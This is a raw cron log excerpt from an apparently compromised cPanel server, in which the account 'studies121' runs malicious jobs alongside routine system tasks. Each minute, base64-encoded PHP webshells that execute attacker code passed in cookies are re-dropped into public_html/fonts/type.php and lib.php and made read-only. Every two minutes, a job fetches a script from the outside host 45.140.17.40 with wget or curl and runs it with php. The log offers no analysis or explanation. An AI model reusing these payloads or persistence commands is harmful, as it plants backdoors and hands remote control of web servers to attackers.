Sep 10 14:50:01 ip-184-168-122-23 CROND[26378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:50:01 ip-184-168-122-23 CROND[26380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:50:01 ip-184-168-122-23 CROND[26381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:50:01 ip-184-168-122-23 CROND[26383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:51:01 ip-184-168-122-23 CROND[26491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:51:01 ip-184-168-122-23 CROND[26493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:51:01 ip-184-168-122-23 CROND[26494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:51:01 ip-184-168-122-23 CROND[26496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:52:01 ip-184-168-122-23 CROND[26591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:52:01 ip-184-168-122-23 CROND[26592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:52:01 ip-184-168-122-23 CROND[26594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:52:01 ip-184-168-122-23 CROND[26595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:52:01 ip-184-168-122-23 CROND[26596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:53:01 ip-184-168-122-23 CROND[26691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:53:01 ip-184-168-122-23 CROND[26693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:53:01 ip-184-168-122-23 CROND[26694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:53:01 ip-184-168-122-23 CROND[26695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:54:01 ip-184-168-122-23 CROND[26774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:54:01 ip-184-168-122-23 CROND[26778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:54:01 ip-184-168-122-23 CROND[26776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:54:01 ip-184-168-122-23 CROND[26777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:54:01 ip-184-168-122-23 CROND[26779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:55:01 ip-184-168-122-23 CROND[26974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:55:01 ip-184-168-122-23 CROND[26977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:55:01 ip-184-168-122-23 CROND[26976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:55:01 ip-184-168-122-23 CROND[26979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:55:01 ip-184-168-122-23 CROND[26978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:55:01 ip-184-168-122-23 CROND[26980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:56:01 ip-184-168-122-23 CROND[27076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:56:01 ip-184-168-122-23 CROND[27077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:56:01 ip-184-168-122-23 CROND[27078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:56:01 ip-184-168-122-23 CROND[27081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:56:01 ip-184-168-122-23 CROND[27080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:57:02 ip-184-168-122-23 CROND[27170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:57:02 ip-184-168-122-23 CROND[27173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:57:02 ip-184-168-122-23 CROND[27175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:57:02 ip-184-168-122-23 CROND[27178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:58:01 ip-184-168-122-23 CROND[27274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:58:01 ip-184-168-122-23 CROND[27276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:58:01 ip-184-168-122-23 CROND[27277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:58:01 ip-184-168-122-23 CROND[27280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:58:01 ip-184-168-122-23 CROND[27281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:59:01 ip-184-168-122-23 CROND[27381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:59:01 ip-184-168-122-23 CROND[27383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:59:01 ip-184-168-122-23 CROND[27384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:59:01 ip-184-168-122-23 CROND[27386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:00:01 ip-184-168-122-23 CROND[27580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:00:01 ip-184-168-122-23 CROND[27581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:01:01 ip-184-168-122-23 CROND[27693]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 15:01:01 ip-184-168-122-23 CROND[27694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:01:01 ip-184-168-122-23 CROND[27695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:01:01 ip-184-168-122-23 CROND[27697]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:01:01 ip-184-168-122-23 CROND[27698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:01:01 ip-184-168-122-23 CROND[27700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27693]: starting 0anacron
Sep 10 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27714]: finished 0anacron
Sep 10 15:02:01 ip-184-168-122-23 CROND[27810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:02:01 ip-184-168-122-23 CROND[27812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:02:01 ip-184-168-122-23 CROND[27814]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:02:01 ip-184-168-122-23 CROND[27815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
